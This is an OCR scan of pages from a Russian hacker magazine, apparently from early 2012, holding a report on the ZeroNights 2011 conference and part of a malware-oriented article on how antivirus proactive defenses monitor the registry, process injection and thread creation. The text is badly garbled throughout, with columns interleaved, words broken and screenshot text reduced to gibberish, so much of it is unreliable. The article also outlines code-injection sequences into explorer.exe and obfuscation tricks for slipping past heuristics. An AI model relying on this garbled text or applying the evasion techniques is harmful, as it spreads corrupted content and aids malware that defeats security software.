J t;h.ebilt:'vest.E;:[', ру -d .. !!I;i,!;rо.~Q.ft. ,. с9m...\ . :1...!5е.е . -.R. gQQg~e ....

лит твой фейковый аккаунт из друзей , но будет

уже поздн о

:].

071


СЦЕНА

ЗАПОЗДАЛЫЙ ОТЧЕТ С ХАКЕРСКОЙ КОНФЕРЕНЦИИ В САНКТ-ПЕТЕРБУРГЕ Двадцать восемь технических докладов, десять часов хакерской ат­

мосферы и non-stop общения, 11 технических конкурсов, приз $10 000 от Яндекса за найденные уязвимости, Оdау-шоу с демонстрацией еще нигде не опубликованных сплоитов

-

это лишь малая часть того, что

происходило в ноябре на хакерской конференции

J' . J.

Черт, кто придумал проводить конференцию

в конце ноября вПитере?

:1

ZeroNights 2011.

Никакие слайды, никакое видео и даже отчеты

Это худшее время

участников не смогут передадать ту атмосфе­

для поездки в северную столицу. Но когда

ру, которая царит во время выступлений на ха­

речь идет о новой хакерской конференции,

керских конфах. Тут надо быть! Где еще тебе

проводящейся впервые, то тут уже не до раз­

покажут реальные уязвимости в банковских

думий. В общем, в Питер мы выдвинулись

системах, повеселят livе-видео со взломом

доброй половиной редакции. На площадке мы

различных платежных терминалов и киосков,

первым делом увидели сотни молодых людей

докажут, что данные для промышленных

с ноутбуками, расхватывающих свои бейджики

контроллеров в SСАDА-системах можно очень

и внимательно изучающих программу двух тре­

просто проспуфить, расскажут изнутри, что

ков, на которых вот-вот должны были начаться

сейчас происходит в мире киберпреступников

доклады. Вот и куча знакомых лиц

-

в Аэии? Иной раз думаешь: «Откуда же взялся

наших

авторов и просто друзей, которые работают

этот монстр, который вот это все расковырял

в самых разных компаниях и занимаются ин­

и сейчас рассказывает?», а потом подходишь

формационной безопасностью . Тут сразу стало

к нему и понимаешь

-

ясно, что зто тебе не очередная скучная конфа,

просто очень умный

:1. На конференции

которые сотнями проходят каждый год,

несколько раз ловили себя на мысли, что

-

это

мы

одного дня для такого ивента мало. Программа

настоящая хакерская тусовка. Можно сказать,

клуб друзей, в котором тебя ждут доклады, конкурсы и куча общения.

человек, не киборг,

настолько плотная и насыщенная, что иногда

Дима Частухи н рассказываn про взnом интернет-киосков и

не знаешь, на какой из параллельных треков

платежных терминалов

072

ХАКЕР

02/157/2011


2011

ZeroNights

публикациям в «Хакере») подвел итоги поиска уязвимостей в Яндексе, проводившегося в те­ чение месяца. Победителем стал Владимир Воронцов из ONsec, получивший в качестве

приза чек на $5

000.

Отличным завершением

программы стало Оdау-шоу, во время которого докладчики демонстрировали сплоиты, еще

не появившиеся в паблике. Где еще ты такое

увидишь?

2011

год, безусловно, удался на хакерские

конференции. Если раньше была одна лишь небольшая секция по безопасности на

Chaos

Construction [тоже в Питере), то в этом году у нас появилось сразу две настоящие

хакерские конференции: РНD и ZeroNights. С докладами мирового уровня, иностранными спикерами и, что, возможно, важнее всего,

невероятнойхакерскойатмосферой, в которую

Федор Ярочкин рассказывает про киберпреступность в Китае

ты сможешь окунуться уже в этом году. Про­

пустить эти конференции будет самой большой идти: И там и там интересные доклады. Очень

Денис Баранов, который выиграл конкурс

ошибкоЙ.Спасибопарням,которыеустроили

порадовал формат

за лучшую майку, на которой был скриншот

дня нас этот праздник: Саше Полякову, Алек­

С XSS, найденной на сайте ZeroNights :). Все

сею Синцову, Диме Евдокимову, Леше Тюрину,

ступления. В результате за час ты успеваешь

ждали вечера, когда Антон «toxa» Карпов [ты

Илье Медведовскому и всем причастным,

прослушать самые разные доклады от разных

наверняка его помнишь по многочисленным

которых мы просто не знаем:!.:Х:

FastTrack: каждому доклад­

чику выделяется всего

15-20 минут для

вы­

людей, а потом поймать их и узнать подробно­ сти.Суперплотно,суперинформативно!

Важная часть любой конфы Конкурс

- это конкурсы. Lockpicking Village по взлому замков

традиционно привлек особое внимание: десятки людей толпились вокруг стенда

в течение всего дня. Обнаружить уязвимость в промышленном контроллере, решить

crackme от антивирусного вендора, найти и проэксплуатировать баг в SAP - конкурсы были на любой вкус и цвет. Самые крутые

джедаи могли попробовать свои силы в тур­ нире «Царь горы», где предлагалось любыми способами получить доступ к уязвимому серверу и удерживать его как можно доль­

ше, отражая атаки других участников. Этот

турнир выиграла команда [RDOrJ. Порадовал

.. Анализ незаконной

Найди хоть одного зевающего хакера -

все внимательно слушают!

:1

.. Где лежат деньги?.

"Уязвимости расщепления

.. Практические атаки

Леша Синцов расказал

НТТР-ответа,внедрения

на интернет-киоски и пла-

от радио к ЯДРУ сети и про-

Невероятнохаризматич-

о множестве Oday-

заголовков и заражения

тёжные терминалы ••

токолам

ный Федор Ярочкин специ-

уязвимостей в реальных

кеша: снова в строю

Алексей Поляков и Дима

Филипп Ланглуа показал

ально прилетел с Тайваня,

системах онлайн-

Доклад посвящен

Частухин часто колесят

новыетехнологии поза-

чтобы поделиться своим

банкинга, об общих ошиб-

новым исследованиям

по миру, посещая разные

щите и атаке сетей ЗG и

опытом в области анализа

кахвсехразработчиков

уязвимостей расщепления

конференции. Встретив

Он продемонстрировал

инцидентов компьютерной

отечественных популяр-

НТТР-ответа,внедрения

очередной терминал или

на примерах, как внешний

безопасности. В результате

ных продуктов, отом,

заголовков и заражения

киоск, они пробуют обойти

атакующий можетвоздействоватьнателеком-

интернет-деятельности

••

••

.. ОпасностиЗGиLТЕ: ••

LTE.

мыузнали много нового

какзапятьминутобойти

кеша. Владимир Воронцов

ограничения, налагаемые

о целевых атаках (АРТ)

токены, а также о своем

рассказал о них на примере

на пользователя. Этот жи-

муникационные компании,

и разных инцидентах, атак-

опыте в проведениитеста

современных браузеров

войдокладбыл полон ви-

операторов мобильной

же о киберпреступности

на проникновение в реаль-

и веб-приложений и по-

деодемок из самых разных

связи и SS7-проваЙдеров.

в Китае.

ные банковские системы.

казал демки.

уголков нашей планеты

ХАКЕР

02/157/2011

:).

073


MALWARE

Евгений Дроботун

1201074IOmail.ru!

Про функции уведомления

и функции обратного

вызова Icallbackфункции! Windows можно почитать

здесь : WWW.5WW-jt .

гuI2010-02-21!З62 .

. . . шР.

ГЛ

На диске можно найти утилиту Blacklight от F-5ecure, описанную во врезке

« Брутфорс

PID».

РАССМАТРИВАЕМ СПОСОБЫ МОНИТОРИНГА

СОБЫТИЙ И ПРОАКТИВНОЙ

ЗАЩИТЫ В РАЗНЫХ АНТИВИРУСНЫХ ПРОГРАММАХ Сегодня мы продолжим изучение способов противодействия антивирусам и посмотрим, чем еще, кроме компонентов для сигнатурного

сканирования и анализа файлов, вооружают свои творения создатели антивирусных программ .

o .c..n.тyPtlOl

...mo~_.

0-· 0 ............... _ _ · O~o:ac-OIC08_C N _ _ ШОцв-~_

Hawa любимая схема

ХАКЕР

02!157!2012


Бурим антивирус . Еще глубже!

=

к ПроеICJМ8НIII ~ЩИТ" Соб ыти~

о .0

"

~ ~

111

м.м.мемМ' МIOЧ llit 81NИnYC"

11

3~пи(...

4} АктИ8НОСТ, ц plllCТePHIIJI ДllII Р2Р-ч...

Q АICfИ ISНОСТ.,. ХilРАкт ер"_,. Д/lJI троян...

Troj8n'DawnIo8def'

pмcтpt

8~po.тнo ...

Запросить дt ист&ие ЗlПРОСМТtt Дf liСТ&и е

8м.

срtАНЯJl

BIUI.

CPtAHJlJ!I

ЗlПРou.Т'о АtЙСТ8~lt

81t11.

ф tд.нJlJl

Зlпрощrtt дtЙСТ8lt t

В м.

cptд.нJ!JI

ЗlПРО GIТЬ дt ИCt 811t

В м.

среДttJlJl

BH~ ... tтqIOttH~ Dl.L

• ~M"loIittlpOЦ«'C

)IIПРОOlТЪ дt ЙCt l5иt

."'.

@J

."'. BIUI.

....

311ПРОOlтъдt ИСТ IIМt

BIUI.

3II пр оurrь дtЙСТ8l1 t

В м.

Ф ЦНJlI

.. "-~

.

_1IIiDIIII

( 11p.111"<!

Рисунок

1. Простейший

пример неЙросети. анализирующей повеАение системы

Рисунок

2. (обытия, контролируемые проактивной защитой «Антивируса Касперского»1

от мы и добрались до таких понятий,

мониторинг системных событий или анализ

вития творческих способностей вирусописате­

как

поведения системы, а аналитический может

лей . Общую картин у можно увидеть , к примеру,

HIPS [Host Iпtгusiоп Ргеvепtiоп System], «проактивное детектиро­

быть каким угодно, от пресечения единичны х

на рисунке

вание » , «поведенческий анализ», «анализ,

подозрительных событий до сложного анализа

даже совокупности событий], на которые

основанный на мониторинге системных со­

цепочек программных действий [то есть та же

реагирует « Антивирус Касперского ». Конечно ,

бытий»

эвристика с набором правил и весовыми коэф­

некоторые пункты [а именно « Активность,

даже меньше ясности, чем какой-нибудь

фициентами опасности или, может быть, даже

характерная для Р2Р-червей », « Активность ,

«эвристический анализ » . Они могут подраз­

что-то на основе нейросетей [смотри рисунок 1 и соответствующую врезку]].

тивность, характерная для червей » 1 описаны

...

Эти понятия на самом деле вносят

умевать очень широкий спектр технологий и, в общем-то, никак не помогают понять, какая

В первую очередь нас будет интересовать

2. Здесь пока з аны события [вернее,

х арактерная для троянских программ » и « Ак­

очень уж обобщенно , и сейчас мы попытаемся

из них используется в конкретном продук-

технический компонент проактивной защиты ,

всё это дело немного конкретизировать. Итак,

те. Под зтими понятиями может скрываться,

поскольку принципы анализа событий схожи

в первую оч ередь речь идет о сетевой актив­

например, примитивная защита нескольких

с принципами анализа, описанными в прошлой

ности: подавляющее большинство нечисти

ключей реестра, или уведомления о попытках

статье, а отличия, если они есть, мы рассмо­

обязательно пытается или что-то передать

доступа к определенным директориям, или

трим позже. Итак, приступим.

в сеть [пароли, явки, номера кредиток и т. д.] или, наоборот, что-то получить из сети [загру­

анализ поведения программ, или какая-либо другая технология, основанная на мониторинге

ЧТО БУДЕМ МОНИТОРИТЬ?

зить основную часть малвари или обновления,

системных событий. Если мы снова обратимся

Для различных вредоносных программ ха­

принять какие-нибудь команды управления ,

к нашей любимой двухкомпонентной схеме,

рактерно довольно много событий, причем их

да мало ли еще что]. Многие вредоносные

то увидим, что технический компонент- зто

список неуклонно увеличивается по мере раз-

программы пытаются проинжектить свой код

-I

~~O.T~~~ ...-.~~_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

КiSТ· 80502588 (28~ Ф!:jНIЩИЯ - модификация машИННОГО кода Метод JmpTo. jmp F760COE.t1mfehidk. sys. ДP~Bep ОПОЗН~ какбеэопе..сны Й Функци - модификация мe.wИННОГО коде.. MeroAJmpTo. jmp F760COF6mfehidk.sys. драяеер опознан как безопасный Ф,=,НКЦИЯ К (~1) -модификациЯ машинного кода Метод JmpTo. jmp F760C124mfehidk.sys. драАввр опознан кек. беЗОПeDiЫЙ ФУНКЦИЯ NtМe.pViewOfSedion (6С) - МОДИФИКСЦИЯ машинного коде.. Метод JmpTо. Jmp F760C178mfehidk. sys. драйвер опознан как безопесный Ф,=,НIЩИЯ NtOрвпКву а7) -МодификациЯ мe.wинного коде. Метод

JmpTo. jmp F760COODmfehidk.sys. драйеер опознан

(1 01)- модификациЯ машинного коде. Метод JmpTo. jmp F760C1A5mfehidk.sys. ДРelЙввр опознан как беЗОП8а-!ЫЙ

Ф,:::!НКЦИЯ NtUnme.pViewOfSedion (108) - модификациЯ мewинного коде. Метод JmpTo. jmp F760C191 mfehidk.sys. драйеер опознан как безопасный Ф,:::!НКЦИЯ NМeldExecution (116) - модификациЯ машинного кода. Метод JmpTo. jmp F760C165mfehidk.sys. драйвер опознан какбезопас:ный ФУНКЦИЯ ExAcquireSh~dStaмtExclusivв (804F09З4) - модификация мewинного коде. Метод I nt03h~ енедрение с байте 14

Функция ExConvertExclusivвToSharedUte (8D4Е5АВЕ) - модификециЯ машинного коде. Метод JmpTo. jmp F6901 018 Ф,=,НКЦИЯ Ф,=,НКЦИЯ ФУНКЦИй

PID

как безопасный

ФУНКЦИЯ NtOpenProcess (7 д) - модификациЯ мe.wинного коде. Метод JmpTo. jmp F76DC0A8mfehidk.sys. драйвер опознан как беэопасныА Ф,=,НКЦИЯ NtOpenThre5d (80) - МОДИФИ~Я машинного коде. Метод JmpTo. jmp F760a:JBQnfehidk.sys. драйвер опознан какбеэопасный Ф,:::!НКЦИЯ МАепатвКеу (СО) - модификациЯ машинного кода. Метод JmpTo. jmp F76DC1 OEmfehidk.sys. драяеер опозн ен как безопасный Ф,:::!НКЦИЯ NtSetSecurityObjed (ЕО) - МодификациЯ машинного кода. Метод JmpTo. jmp F76DC150mfehidk.sys. дре.Аеер опознан как безопасный Ф,:::!НКЦИЯ NtSeNe!!!pK2)' (Р7) - Модификеция мe.wинного кода. Метод JmpTo. jmp F760C1 ЗAmfеhidk.sys. драйеер опознен как беэопесныА Ф,:::!НКЦИЯ NtТermineteProCВ88

БРУТФОРС

ExOise.bleResourceBoostLite (804F7FA7) - модификация машинного коде. Метод JmpTo jmp F69C89AO ExlsResourceAcquiredExclusiveUte (В04F512З) - модификация мewинного коде. Метод JmpTo. jmp FБ9С91 ВО . внедренив с беАте 6 ExlsResourceAcquiredSharedUte (804F07ВЗ) -МОДИфикация машинного коде. Метод JmpTo.jmp Fб9С8Fб0 . енедрение с беАте. 7 ФУНКЦИЯ ExRelee.seResourceForТhree.dUtв (80.о1Е9ЕСО) - модификация мешинноГQ коде.. Метод JmpTo. jmp F69DA350 . внедрение с байте 6 Ф,=,НКЦИЯ ExSetResourceOwnerPointer (804F7FВ4) - модификация машинного коде.. Метод JmpTо . jmp F690AS88 . внеДрение с беАта1 О Ф\:JНКЦИЯ !oEnumere.teOevicвObjedIJst (804D4д1д) - модификециЯ Мe.1Uинного коде.. Метод не опр8делен ~ внедрение с беАте. 15 ФУНКЦИЯ loGetLowerOeviceObjed (80404999) -модификецИЯ машинного кода Метод не определен~ внедрение с бсдТе. 5 Ф!::IНКЦИЯ lolni~e.lizerrp (804048зq - МОДИфике.ЦИЯ машинного кода Метод не определен~ внедрение с бейте 6 Ф,:::!НКЦИЯ loStartТimer (ЗО.о108ЕЕ8) - модификециЯ меwинного коде. Метод не определвн~ енедрение с беАте. 15 Ф,:::!НКЦИЯ loStopТimer (ВО4D949Е) - модификация машинного коде.. MeToдJmpTo . jmp F69F0628 . енедрение с б еАте. 7 Ф,:::!НКЦИЯ КelnsertНeedQueue (8040.o17FF) - модификациЯ машинного коде. Метод не опрвделен~ внедрение с бай т е 5 Ф!::IНКЦИЯ КeRemoveQueueDpc (804Е6DдЗ) - модификаЦИЯ машинного Коде.. Метод JmpТО . jmp F69E0418 Ф\:JНКЦИЯ NtМepViвwOfSedion (8058.о1СЕО) - модифико.циЯ машинного коде. Метод JmpTo. jmp F760C178 mfehidk.sys:. драйвер опо энен как БВ ЗОПeDIы R Ф,=,НКЦИЯ NtOрепProсевз (80578115) - модификация машинного коде.. Метод JmpTo. jmp F760C0д8 mfehidk.sys, драйеер опо з нан к.ек беЗОПeDIЫЙ Ф,=,НКЦИЯ NtOpenТhre5d (80570202) - модификациЯ мешинного коде.. Метод JmpTo. jmp F760COBC mfehidk.sys. драйвер опознан как беэопе.сныА Ф,=,НКЦИЯ NtSetSecurityObjed (805641 ВО) - модификацИЯ машинного коде. MBTonJmpTo. jmp F7БОС150 mfehidk.sys. дрейвер опознан как безопасный Проверено ф,:::!нкциА: 28.01. перехве.чено: О. восстановлено: О 1.3 Проеерка IOT и SYSENТER

Некоторые утилиты (например,

light от F-Secure

или

BlackSpyDLLRemover]

используют для поиска скрытых процессов

брутфорс идентификаторов процессов

(BPID).

Метод достаточно прост и в то же время эффективен. Такие утилиты открывают процессы и перебирают все возможные

PID. Blacklight в цикле пытается вызвать OpenProcess для всех возможных значений К примеру,

идентификатора процесса из диапазона

от ОхО до Ох4Е1с. Таким образом, можно получить список процессав, присутствующих

в системе. Затем вызывается функция Сгеа­

teToolhelp32Snapshot,

которая выдает второй

список процессов. Потом два эти списка сравниваются: если процесс присутствует в первом и отсутствует во втором, то он

Рисунок з. Так

ХАКЕР

McAfee Апtiviгus Plus пытается

02/157/2012

контролировать изменения в реестре

считается скрытым.

075


MALWARE

: ... • • • • • • • • • • ___

.text:00429811 • cnnF XRFF, <;lIh h?99AE+EEtj .text:00429811 IОС_429811: • text: 00429811 fAsynchronus pUSh еах hEuent push .text: 00429813 4 ; dwHotifyFilter push .text: 00429814 еЬр ; bWatchSubtree push .text: 00429816 push d"ord ptr [esi] ; hKey • text : 00429817 саН dS: RegHotifyChangeKeyUalue • text : 00429819 • text : 0042981 F """1IItI- -"'ru't":" II'II'~ " -irf:nl ah--=---=--.;....-----.J • text : 00429821 СIllР edi, еЬр .text:00429823 jz short 10с 429860 . text:00429825 IIIOU еах, dword 488САО • text : 0042982А с"'р еах, еЬр .text:0042982C jz short 10с 42984С ::e~t.:0!.4~8~E _ _ _ _ _ _ _ _ III~U _ _ .:c~.' J~Xl

_______________ _

ус танавливает в сигнальное состояние за­

ранее соз данный объект типа

Event !событиеl,

и антивирусу остается только отследить это

собы тие и принять соот ветствующие меры. Помимо RеgNоtifуСhапgеКеуVаluе, в недрах

Windows прячется еще одна небольшая CmRegisterCallBackEx, с помощью

функция

которой также можно контролировать рее стр. Эта функция устанавливает так называемую

callback-функцию Iфункцию уве домленияl , ко­ торая выэывается при изменениях в эаранее

определенных ветках реестра . Эта функция, в отличие от RеgNоtifуСhапgеКеуVаluе,

• •

... • • • • • •

• text: 00428702 • text: 00428708 . text: 0042870А • text: 00428708 • text:0042870C • text : 004287 ОЕ .text:0042870E • text : 004287 ОЕ • text : 00428714 • text : 00428716 • text : 00428717 . text : 00428719 • text: 00428718 .text:0042871C • text: 00428722

саН

ds: RegOpenKeyExA

test

еах,

рор

edi esi short

рор

jnz

может использоваться только в режиме ядра,

еах

и поэтому такой кон троль за реестром осу­

ществляется с помощью драйвера 'К примеру, lос_4286С2

драйвер «Ан тивируса Касперского СООЕ

IОС_42870Е:

IIIOU

есх,

PUSh push push push push

,

XREF: sub_428690+4Atj

hObject

саН

; .Rsyncnronus еЬх ; hEuent 4 ; dwHotifyFilter ; bWatchSubtree есх ; hKey ds: RegHotif9ChangeKeuUalue

test

еах,

sys

2010 » klif .

импортирует функцию именно для э той

цели Iрисунок 511 . Как правило, антивирусы редко довольств уются только одним спо­

собом контроля реестра lособенно первым, который не так уж и надежен, тем более если пере хват нужных функций делать в юзермо­

деl и используют комбинацию двух

еах

IMcAfee,

например, помимо перехвата использует

RegNotifyChangeKeyValuel, а то и всех трех

Рисунок , . Контроль за изменениями в реестре с помощью RegNotifyChangeKeyValue. Выше красной пунктирной линии показана реализация в McAfee, ниже линии - в « Каспереком». Как говорится, найди отличия

способов.

в доверенный процесс lобычно это

Инжект в память чужого процесса можно

ИНЖЕКТ В ЧУЖИЕ ПРОЦЕССЫ ехе или

explorer.

svchost.exel, получить привилегии

отладчика и иэменить системные компоненты

NtCreateKey, NtDeleteKey и

т. п. На рисунке

показано, как антивирус от

McAfee

перехваты­

вает функции ядра для работы с реестром.

Iнапример, пропатчить ядро ОС в своих интере­

пользовании специальной АРI -функции

в сис тему.

RеgNоtifуСhапgеКе уVа luе. Создатели

считать классическим методом, который используют современные вирусы, так как он

Следующий способ заключается в ис­

caxl- в общем, как можно глубже внедриться Д умаю, с отслеживаемыми событиями все

3

по зво ляет реализовывать вредоносные функ­ ции под доверенным процессом. Очень часто

Windows

обучили эту функцию извещать программу,

в роли э того доверенного процесса выступает

explorer.exe,

которая ее вызвала , об изменении опреде­

ясно , поэтому пойдем дальше.

СЛЕДИМ ЗА РЕЕСТРОМ Любая уважающ ая себя малварь при зараже­

чуть реже

- svchost.exe.

Прежде чем внедряться в нужный про­

ленного ключа реестра. Ее используют

цесс, его необходимо найти. Если речь идет

многие антивирусные программы Iрисунок

об

41. В

способ для малвари

случае изменения реестра функция

то самый простой и удобный

explorer.exe,

-

это задействовать

нии системы должна позаботиться о своем повторном запуске после перезагрузки. Она может выбрать для этого множество доступны х мест, начиная от папки «Автоза грузка » и за­

.

Settings

Fil!

:.

канчивая кучей ключей автозапуска в реестре .

Чаще всего, конечно же, малварь модифициру­ ет ключи автозагрузки в реестре.

Некоторые вредоносные программы также

пытаются изменить или дополнить какие-либо

-

DLL,

Explorer'a

или устано вленной в системе анти­

изменить пара метры Iпtегпеt

вирусной программы и т. д.l. в общем, делаем вывод: за реестром надо следить, и следить

тщательно. И все, даже самые захудалые анти­

?

r§J

~

~ Rle: IdW.sys Ш 00. Нe.der

~нш~ • Fie

Нeoder

другие ключи реестра 'К примеру, прописать свою

= 'H~ (~

. . CFF Explor.r vп (klif.sys)

Ш ()ptJonol H••d...

-

- -

Ш Dot.Oirectofiesl><) Ш SecIЮn Нeod... 1><) Щ>ort

Oirectory

- E:I Reoocwce Oirectory - E:I ReIocotion ov.ctory - E:I Debug ov.ctory

/

ldif.sys

I

Х

Jmpolts

oFТ>

TimeOateStamp

ForwarderChain

NameRVJ

0003ЕЗбд

N/A

0003ССЕО

0003ССЕ4

0003ССЕ8

0003ССЕС

szAnsi

(nFunctions)

Dword

Oword

Dword

Dword

1195

00042058

оооооооо

оооооооо

00043Sбд

HAl.dll

8

00042034

оооооооо

оооооооо

00043б4С

FlTMGR.SYS

б4

ООО41F30

оооооооо

оооооооо

00043С92

Module Name

ntoskml.exe

,,~ - -

(

t

oFТ>

FТs(Jдr)

Hint

Name 0003EOSO

-

~ Address Converteг ;J) oependency WoIker

0003CF80

0ОО3ООВО

0003Е04Е

составе компонент проактивной защиты, про­

-

~ нех _ог

Dword

Dword

Word

szд nsi

сто обязаны это делать .

-

'':> IdentWi..'J> Import Addeг

0004320С

000432ОС

03С1

MmUse:rProbe:Addre:ss

;J)Quick Disassembl...

00043222

00043222

0280

Ke:Are:ApcsDisabIe:d

00043236

00043236

0035

( CmRe:girte:rCallb"kEx )

0004324Е

0004324Е

0033

CmGe:tCallback.Ve:rsion

вирусные программы, гордо несущие в своем

Самые распространенные способы кон­ троля изменений в реестре

-

это пере х ват

АРI-функций работы с реестром или ис­ пользование специализированных функций

-

-

-

;J) Rebuildeг

;J) ReSOL.n:e _ог UPX Uilny

-

-

--

контроля над реестром. Что касается первого

А

[]

-

-

---. А

способа, то для контроля над рее с тром обычно

-

достаточно перехватить функции RеgОрепКеу,

RegCreateKey, RegDeleteKey из advapi32. dll или более низкоуровневые NtОрепКеу,

076

Рисунок 5. Функция Касперекого 2010»

CmRegisterCallBackEx в драйвере klif.sys из «Антивируса

ХАКЕР

02 / 157/2012


Бурим антивирус. Еще глубже l

Handles

I ~ Kernel-Mode Drivers I

х

х

OxBF81C70F OxBF80EE39

OxF6FIICI0 OxF6F12BOO

v

lli

Services :: 667 - Detoured:: 1О - Extr а :: Рисунок

6.

Перехват

NtUserFindWindowEx «Антивирусом

О

Касперского»

FindWindow lили FindWindowE xl с идентифи­ катором окна progman. FindWindow, в свою

'• .." Кеrnel Detective Уl.2 :: Se~rchProtocoIHost.exe

File

Procossosl

очередь, базируется на NtUserFindWindowEx,

и, перехватив ее Iрисунок

Settings

6), можно отследить,

1

Тhr.ods ,.,!. Oynмjclli< Li><.nes

1 -1

00t8З9ЗDFЕ4

0>I82CE4D04 O>I8lAE2D17 0>I82C04F54 0>I82CE5IOF O>08lC5E85D

NtCr~<=teThreadEx

O>I8З9ЗF180

~2C52дE8

NtAcceptConnectPort NtAccessCheck

0>I82C08949 O>I8lA7801F

00t82C08949

dNorot.svs С:\Wi пdоws\oyst.mЗ2\п!kmlр .....

0>I82A7801F

C:\Windows\system32\ntkmlp~.ex~

NtAcc6sCheckAndAuditAlarm

0>I82СЗF9ВD

0>I82СЗF9ВО

NtAccessCheck8yTyp~

O>I8lA7Dl81

0>I82A701B1

Ntдcc..sChock8yTypOДndAud~ ...

0>I82СЗF8DD

0>I82СЗF8DD

С:\Wiпdоws\oystеmЗ2\п!lcrпlр...хе C:\Windows\system32\ ntkrnlpa.exe С:\Wiпdоws\oyst.mЗ2\пtkmlр .....

NtAcc6sCh~ck8yTypeR6ultlist

0>I82ВЗ1ВДО

0>I82ВЗ1ВДО

C:\Windows\system32\ntkmlp~ . exe

Существует как минимум два очень рас­

пространенных способа внедрения посторон­

147 255

NtFr~VirtualMemory

!bsЗ9ЗDED4

NtQueueApcThread

Oot8З9ЗF1ДС

него кода в адресное пространство какого­

2в9

MSg(onte::xtThrNd

0>18З9ЗF1F8

либо процесса. Первый способ: получаем

358 382

функции OpenProcess, выделяем в нем нужный

кусочек памяти с атрибутом PAGE_EXECUTE_

READWRITE IАРI-функция VirtualAllocExl, копируем туда все, что нам нужно, добываем дескриптор основного потока, замораживаем

его ISuspendThreadl, получаем и запоминаем регистровый контекст IGetThreadContext),

~·nteljirtuaIMemOry

О

1 2 3 4 5 6 7 8 т otal

Т'Мodu!e

O1I.lС8З9В9

O>I8З9ЗFOДД

NtCrellteThre4d

Ntдcc..sChock8yTyp.R.. u~ListA. ..

0>I82CF2845 0>082CF2845 NtдccessChockByTyp. R.. u~Listд ... 0>082CF288E 0>082CF288E NtдddAtom 0>I82CODBIO 0>I82CODBIO Se:rviC6 :: 391 -

Modifi~::

Modr'.ed Modi,led

с: ;.{'ndО\

Modofi.d

C:\WindowsuYstem32\drivers\dwprot.sys

Modlfled

@)

С:

II&!OOOI

1'* DiSOSSembIer 1~ Dobug Voow f!' Syst..,±

O>I8З9ЗDC56

78

дескриптор процесса посредством вызова

КemoI.мod. Drivers

1Cu".n! Ad .•• 1O';gin.1 д... 1s!.!.

Index Sl.rviceNlIme 18 NtAilocateVlltulll~>1emo'Y

какая программа ищет процесс explorer.exe.

=

H.lp

W,ndo

oyst.mЗ2\dпvors\dwрrоt.sys

]

г-:Q

s\syst.mЗ2\dnvors\dwprot.sys

С:\W,пdоws\syst.mЗ2\dnvor>\dwрrot.sys.

Mod~iod

С:\Wiпdows\w.t.mЗ2\drivors\dwprоLsys

Moddlm

(;\W,ndows

Modified

С Njndows' svstomЗ2\о" '""

s,stomЗl,d",..,\dwprot.sys

]

C:\Windows\system32\ntkrnlp~.exe C:\Wi ndows\syrtem32\ ntkrnlp~.e.xe С:\Wi пdоws\oystomЗ2\пtkmlр . ....

7 - Extra :: О

Д

пишем в указатель команд адрес начала

вредоносного кода, обновляем регистровый

контекст ISetТhreadContext) и размораживаем поток IResumeThreadl, передавая управление на внедренный код, который после выполне­ ния задуман ного восстанавливает оригиналь­

ный указа тель команд.

Второй способ: получаем дескриптор процесса посредством OpenProcess, вы-

Рисунок

7. Контроль

над операциями с памятью и созданием потоков в антивирусе

деляем в нем память так же, как и в первом

случаеlViгtuаlАllосЕхl, копируем туда внедряе­ мый код через WriteProcessMemory и создаем удаленный поток с помощью АРI-функции

Create RemoteThread.

~

DrWeb

Конечно, увидев последовательно-

сти вызовов OpenProcess\VirtuaIAllocEx\

Wгite Рго cessM е m о ry\Su spe n dTh геа d\ GetТhreadContext\ SetТhreadContext\ ResumeThread или OpenProcess\VirtuaIAllocEx\

НЕЙРОСЕТИ НА АНТИВИРУСНОЙ СЛУЖБЕ Искусственная нейронная сеть представляет собой математическую

равно количеству анализируемых событий, при этом на каждый вход

модель нейронной сети головного мозга человека lили какого-нибудь

подается 1, если событие произошло, и О, если события не было), каждый

другого животного). Она состоит из простейших элементов -

выход нейросети соответствует определенному типу вредоносной

которые связаны между собой Iрисунок

11. Каждый

нейронов,

нейрон выполняет

программы (эначения на выходах могут меняться от О до 1, а в качестве

несложную операцию: на основе поступающих от других нейронов

решения выбирается тот выход, на котором в итоге зафиксировано самое

сигналов, которые представлены в виде чисел от О до

большое значение).

1,

и их весовых

коэффициентов вычисляет выходной сигнал . Весовые коэффициенты,

Обучение нейронной сети может проводиться с учителем (на основе

или веса свяэей между нейронами, представляют собой параметры,

уже решенных задачl или без него (на основе реакции cpeAbIl.

определяющие работу нейронной сети. Нейроны группируются

Обучение с учителем IKoTopoe больше подходит для нашего случаяl

в последовательность слоев, входные сигналы поступают на первый

происходит при последовательном решении с помощью нейронной сети

Iвходной) слой и последовательно проходят все слои до последнего

уже выполненных задач и сравнеНiIIИ полученного результата с уже

'выходного). в нашем примере в качестве входных сигналов

известным: если они не совпадают, производится коррекция весовых

используются события, происходящие в системе (количество входов

коэффициентов связей между нейронами.

ХАКЕР

02/157/2012

077


MALWARE WriteProcessMemory\ CreateRemoteThread

IHIT:0002A9D5 loc_2A9D5: ~ . IHIT:0002A9D5

в файле, любой, даже самый захудалый файло­

• 1HIТ: 0ОО2А9О6 • 1HIТ: 0ОО2А9ОВ • 1HIТ: 0ОО2А9Е1 ' . IHIТ: 0ОО2А9Е3

вый сканер , оснащенный хотя бы примитив­ ным эвристическим анализатором, поднимет тревогу, ведь в нормальных программах такие

последовательности вызовов

API

встречаются

СООЕ

XREF:

sub_2A~

puSh push саН

крайне редко . Но ведь шифрование файла,

неявный вызов функций, получение адресов нужны х

API

с помощью

по хе ­

GetProcAddress

шам их названий и прочие хитрости по со­ и поэтому с этим надо что-то делать. Кроме

lea push push

того, при очень большом желании можно обой­

саН

тись без

test jl push push push push push push

крытию и запутыванию кода никто не отменял,

WriteProcessMemory.

Поэтому проактивной защите прихо­ дится тяжело трудиться и контролировать

и функции по работе с виртуальной памятью, и функции по созданию потоков. Конечно же, перехватывать эти функции нужно в ядре с помощью драйвера . Все функции по работе

еах,

[ebp+ 10h ]

еах

dword ptr [ebp+ OCh ] ds: PsLookupProcessByProcessId еах,

еах

short loc_24567 еЬх еЬх еЬх

dword ptr [ebp+ OCh ] d~/ord ptr [ebp+ 10h ] еЬх

с виртуальной памятью основаны на функциях

саН

NtAllocateVirtual Метогу, NtFreeVirtual Метогу и NtWriteVirtualMemory, а API CreateRemoteThread - на NtCreateThread. И, например, DrWeb перехватывает их все с помо­ щью с воего драйвера dwprot.sys [рисунок 71.

1II0U

есх: [ebp+ 10h ]

саН

ds: ОЬfDеrеfеrепсеОЬjесt

Есть и другой способ отследить создание потоков

